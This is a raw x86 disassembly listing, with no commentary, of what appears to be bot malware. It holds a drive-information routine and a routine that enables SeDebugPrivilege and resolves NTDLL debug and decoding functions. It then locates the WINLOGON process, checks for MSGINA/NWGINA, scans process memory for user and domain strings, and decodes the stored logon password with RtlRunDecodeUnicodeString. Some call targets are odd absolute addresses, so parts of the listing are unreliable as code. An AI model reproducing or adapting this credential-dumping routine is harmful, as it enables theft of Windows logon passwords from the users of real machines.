var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D45
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416E65
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416E65
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416E65
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DCA0
		push	edx
		push	eax
		call	sub_416C7D
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DCA0
		push	edx
		push	eax
		call	sub_416C7D
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DCA0
		push	edx
		push	eax
		call	sub_416C7D
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 18h
		pop	ebx
		jmp	short loc_416E94
; ---------------------------------------------------------------------------


loc_416E65:				; CODE XREF: sub_416D8D+2Cj
					; sub_416D8D+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C006
		add	esp, 18h


loc_416E94:				; CODE XREF: sub_416D8D+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EA8	proc near		; CODE XREF: sub_416F7A+17p
					; sub_416F7A+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416D8D
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C7E0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F1B
		push	ebx
		push	ebx
		call	sub_416CFC
		pop	ecx
		push	eax
		push	offset unk_437C24
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 14h
		jmp	short loc_416F4F
; ---------------------------------------------------------------------------


loc_416F1B:				; CODE XREF: sub_416EA8+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416CFC
		pop	ecx
		push	eax
		push	offset unk_437BE8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 20h


loc_416F4F:				; CODE XREF: sub_416EA8+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415CEE
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F7A	proc near		; CODE XREF: sub_401AC7+2518p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416F9B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EA8
		add	esp, 10h
		jmp	short loc_416FFC
; ---------------------------------------------------------------------------


loc_416F9B:				; CODE XREF: sub_416F7A+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4C926C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BC9B
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4C926C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416FF3


loc_416FBF:				; CODE XREF: sub_416F7A+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416FE2
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EA8
		add	esp, 10h


loc_416FE2:				; CODE XREF: sub_416F7A+54j
		push	esi
		call	sub_41B960
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416FBF


loc_416FF3:				; CODE XREF: sub_416F7A+43j
		push	edi
		call	sub_41BA31
		pop	ecx
		pop	edi
		pop	esi


loc_416FFC:				; CODE XREF: sub_416F7A+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416F7A	endp

; ---------------------------------------------------------------------------
byte_416FFF	db 55h			; DATA XREF: sub_401AC7+67F5o
		dd 0EC81EC8Bh, 49Ch, 5308458Bh,	0A7B95756h, 8B000000h
		dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h
		dd 0FFFEEC85h, 2DE850FFh, 33000049h, 5BC80DBh, 0FFFFFEEBh
		dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4914h, 59C8859h
		dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 437C84h, 0FB64858Dh
		dd 68FFFFh, 50000002h, 508FE8h,	10C48300h, 75F85D39h, 858D5320h
		dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h
		dd 27CCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h
		dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h
		dd 5AE8h, 858D5000h, 0FFFFFB64h, 437C6468h, 37E85000h
		dd 8300004Fh, 5D3924C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF276Eh
		dd 8D14C483h, 0FFFB6485h, 0EBE850FFh, 0FFFFFFEBh, 0BEE8F075h
		dd 59FFFF45h, 0E8905359h, 22C8EECh, 555B5E5Fh, 0EC81EC8Bh
		dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 7CC868FFh
		dd 50560043h, 4FC3E8h, 303D8B00h, 83004271h, 858D10C4h
		dd 0FFFFFEBCh, 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh
		dd 429AC4BBh, 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h
		dd 752EFFFFh, 0E9BD8012h, 0FFFFFEh, 0BD804274h,	0FFFFFEE9h
		dd 8D39742Eh, 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh
		dd 61E85056h, 0FF00004Fh, 858D1C75h, 0FFFFFCB4h, 1475FF50h
		dd 0FF1075FFh, 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch
		dd 0FEBC858Dh, 0FF50FFFFh, 0E890FC75h, 2348E30h, 8F75C085h
		dd 90FC75FFh, 1A8E23E8h, 1475FF02h, 0FDB8858Dh,	75FFFFFFh
		dd 50565318h, 4F0FE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh
		dd 0FFFDB885h, 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h
		dd 1C45FFFFh, 0B4858D50h, 0FFFFFFFAh, 0AC681875h, 6800437Ch
		dd 200h, 4ED2E850h, 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h
		dd 875FF0Ch, 0FF261DE8h, 28C483FFh, 0FEBC858Dh,	5650FFFFh
		dd 348DABE8h, 0C0859002h, 9056B175h, 1A8D9FE8h,	1C458B02h
		dd 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417269	proc near		; DATA XREF: sub_401AC7+1C62o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41ADDD
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_4172A8
		cmp	eax, 2
		jz	short loc_4172A8
		push	offset unk_437EA0
		jmp	loc_4173E7
; ---------------------------------------------------------------------------


loc_4172A8:				; CODE XREF: sub_417269+2Ej
					; sub_417269+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B3F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4173E2
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26B0000h
		mov	esi, dword_4270CC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D217C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D2170, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D2380, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D2178, eax
		call	esi
		mov	dword_4D2174, eax
		call	sub_41743B
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4173B5
		mov	esi, dword_427154
		mov	edi, 400h
		mov	ebx, offset dword_4D1170
		push	edi
		push	ebx
		push	offset off_437DDC
		call	esi
		push	edi
		mov	edi, offset dword_4D1970
		push	edi
		push	offset off_437DC4
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D2388
		push	[ebp+arg_0]
		jnz	short loc_417361
		call	sub_4175C4
		jmp	short loc_417366
; ---------------------------------------------------------------------------


loc_417361:				; CODE XREF: sub_417269+EFj
		call	sub_41776B


loc_417366:				; CODE XREF: sub_417269+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4173AE
		cmp	dword_4D2388, 0
		jnz	short loc_417395
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_437D68
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 18h
		jmp	short loc_4173C8
; ---------------------------------------------------------------------------


loc_417395:				; CODE XREF: sub_417269+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173A5
		call	sub_4178A1
		jmp	short loc_4173AA
; ---------------------------------------------------------------------------


loc_4173A5:				; CODE XREF: sub_417269+133j
		call	sub_417938


loc_4173AA:				; CODE XREF: sub_417269+13Aj
		pop	ecx
		push	eax
		jmp	short loc_4173BA
; ---------------------------------------------------------------------------


loc_4173AE:				; CODE XREF: sub_417269+101j
		push	offset unk_437D30
		jmp	short loc_4173BA
; ---------------------------------------------------------------------------


loc_4173B5:				; CODE XREF: sub_417269+B6j
		push	offset unk_437D04


loc_4173BA:				; CODE XREF: sub_417269+143j
					; sub_417269+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_4173C8:				; CODE XREF: sub_417269+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B3F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27A0953h
		nop
		pop	ebx
		jmp	short loc_4173F5
; ---------------------------------------------------------------------------


loc_4173E2:				; CODE XREF: sub_417269+4Ej
		push	offset unk_437CD0


loc_4173E7:				; CODE XREF: sub_417269+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_4173F5:				; CODE XREF: sub_417269+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_41741C
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409862
		add	esp, 14h


loc_41741C:				; CODE XREF: sub_417269+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415CEE
		push	[ebp+var_18]
		call	sub_40B6C9
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_417269	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41743B	proc near		; CODE XREF: sub_417269+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427160
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_42715C
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D217C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D217C
		test	eax, eax
		jnz	short loc_417528
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417528
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417528


loc_4174C4:				; CODE XREF: sub_41743B+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_41751B
		push	0
		push	0
		call	dword_4D2170
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D2380
		test	eax, eax
		jnz	short loc_41750C
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DD4A
		pop	ecx
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417540


loc_41750C:				; CODE XREF: sub_41743B+AAj
		test	edi, edi
		jz	short loc_417517
		push	edi
		call	dword_4D2178


loc_417517:				; CODE XREF: sub_41743B+D3j
		mov	eax, [esp+28h+var_10]


loc_41751B:				; CODE XREF: sub_41743B+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_4174C4


loc_417528:				; CODE XREF: sub_41743B+6Dj
					; sub_41743B+7Aj ...
		xor	edi, edi


loc_41752A:				; CODE XREF: sub_41743B+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	eax, edi


loc_417538:				; CODE XREF: sub_41743B+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417540:				; CODE XREF: sub_41743B+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_4175A9
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417556:				; CODE XREF: sub_41743B+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DD4A
		pop	ecx
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175BD
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DD4A
		pop	ecx
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41759B
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41759B:				; CODE XREF: sub_41743B+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417556


loc_4175A9:				; CODE XREF: sub_41743B+10Fj
		test	edi, edi
		jz	short loc_4175B4
		push	edi
		call	dword_4D2178


loc_4175B4:				; CODE XREF: sub_41743B+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_41752A
; ---------------------------------------------------------------------------


loc_4175BD:				; CODE XREF: sub_41743B+13Cj
		xor	eax, eax
		jmp	loc_417538
sub_41743B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175C4	proc near		; CODE XREF: sub_417269+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 268029Ah
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4175ED
		xor	eax, eax
		jmp	loc_417768
; ---------------------------------------------------------------------------


loc_4175ED:				; CODE XREF: sub_4175C4+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27E0352h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427160
		push	8
		call	esi
		mov	edi, dword_42715C
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427168
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_41763D
		xor	esi, esi
		jmp	loc_41775B
; ---------------------------------------------------------------------------


loc_41763D:				; CODE XREF: sub_4175C4+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27D0C29h
		nop
		test	eax, eax
		jz	loc_41774A
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_41774A
		test	[ebp+var_2B], 1
		jnz	loc_41774A
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_41774A


loc_4176A0:				; CODE XREF: sub_4175C4+112j
		push	edi
		push	offset dword_4D1170
		call	sub_4266CB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4176C8
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D1970
		call	sub_4266CB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4176D8


loc_4176C8:				; CODE XREF: sub_4175C4+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_41774A
		jmp	short loc_4176A0
; ---------------------------------------------------------------------------


loc_4176D8:				; CODE XREF: sub_4175C4+102j
		test	edi, edi
		jz	short loc_41774A
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2750A1Dh
		nop
		test	eax, eax
		jz	short loc_417713
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 27504CAh
		nop
		test	eax, eax
		jz	short loc_417713
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_417713:				; CODE XREF: sub_4175C4+12Bj
					; sub_4175C4+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D2394, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D238C, eax
		mov	dword_4D2390, edi


loc_41774A:				; CODE XREF: sub_4175C4+90j
					; sub_4175C4+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	esi, [ebp+var_10]


loc_41775B:				; CODE XREF: sub_4175C4+74j
		push	[ebp+var_4]
		nop
		call	near ptr 266053Bh
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417768:				; CODE XREF: sub_4175C4+24j
		pop	esi
		leave
		retn
sub_4175C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41776B	proc near		; CODE XREF: sub_417269:loc_417361p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 268029Ah
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41785D
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27E0352h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417854
		mov	edi, dword_427160


loc_4177B6:				; CODE XREF: sub_41776B+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0C29h
		test	eax, eax
		jz	short loc_417842
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_417848
		test	[ebp+var_13], 1
		jnz	short loc_417848
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jz	short loc_417834
		push	offset dword_4D1170
		push	esi
		call	sub_4266CB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417834
		lea	eax, [esi+400h]
		push	offset dword_4D1970
		push	eax
		call	sub_4266CB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417864


loc_417834:				; CODE XREF: sub_41776B+9Fj
					; sub_41776B+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		jmp	short loc_417848
; ---------------------------------------------------------------------------


loc_417842:				; CODE XREF: sub_41776B+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_417848:				; CODE XREF: sub_41776B+71j
					; sub_41776B+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_4177B6


loc_417854:				; CODE XREF: sub_41776B+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 266053Bh


loc_41785D:				; CODE XREF: sub_41776B+1Ej
		xor	eax, eax


loc_41785F:				; CODE XREF: sub_41776B+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417864:				; CODE XREF: sub_41776B+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D238C, ebx
		mov	dword_4D2390, eax
		cmp	[eax], cl
		jnz	short loc_417886
		cmp	[eax+1], cl
		jz	short loc_41788E


loc_417886:				; CODE XREF: sub_41776B+114j
					; sub_41776B+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417886


loc_41788E:				; CODE XREF: sub_41776B+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 266053Bh
		push	1
		pop	eax
		jmp	short loc_41785F
sub_41776B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178A1	proc near		; CODE XREF: sub_417269+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D2388
		push	esi
		mov	esi, dword_427160
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	ecx, dword_4D2388
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D2390
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D2394
		push	eax
		call	dword_4D2174
		push	[ebp+var_4]
		mov	edi, offset dword_4D2180
		push	offset dword_4D1170
		push	offset dword_4D1970
		push	[ebp+arg_0]
		push	offset dword_437EEC
		push	200h
		push	edi
		call	sub_41C100
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417938	proc near		; CODE XREF: sub_417269:loc_4173A5p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D2388
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27D0B9Eh
		push	eax
		nop
		call	near ptr 27D0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D1970
		mov	edi, 200h
		mov	esi, offset dword_4D0F70


loc_41797E:				; CODE XREF: sub_417938+FAj
		mov	eax, dword_4D2388
		add	eax, eax
		push	eax
		push	dword_4D2390
		push	[ebp+var_14]
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D2174
		mov	eax, dword_4D2388
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4179F3


loc_4179BB:				; CODE XREF: sub_417938+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A10
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4179DF
